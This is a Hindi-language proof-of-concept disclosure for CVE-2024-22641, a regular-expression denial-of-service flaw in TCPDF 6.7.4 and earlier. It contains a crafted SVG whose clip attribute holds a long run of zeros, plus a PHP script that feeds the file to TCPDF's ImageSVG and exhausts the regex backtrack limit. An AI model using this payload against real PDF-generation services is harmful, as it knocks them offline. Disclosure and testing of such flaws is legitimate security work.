
CVE-2024-22641 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: TCPDF <=6.7.4 में ReDoS भेद्यता जो क्राफ्टेड SVG फ़ाइलों द्वारा ट्रिगर होती है, रेगेक्स बैकट्रैक सीमा समाप्ति का प्रदर्शन करती है।
रेगुलर एक्सप्रेशन सेवा अस्वीकार (ReDoS)
TCPDF <= 6.7.4
TCPDF क्राफ्टेड पेलोड वाली SVG फ़ाइल को पार्स करता है।
TCPDF संस्करण <= 6.7.4, अविश्वसनीय SVG फ़ाइल को पार्स करने पर ReDoS (रेगुलर एक्सप्रेशन सेवा अस्वीकार) के लिए संवेदनशील है।
<!--poc.svg-->
<svg
version="1.1"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<circle clip="rect(0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!)"/>
</svg>
<?php
require_once('../tcpdf.php');
// create new PDF document
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
// add a page
$pdf->AddPage();
$pdf->ImageSVG($file='poc.svg');
?>
नोट: भेद्य कोड लाइन के बाद preg_last_error() से जाँच करने पर, regEx PREG_BACKTRACK_LIMIT_ERROR के साथ बाहर निकलेगा।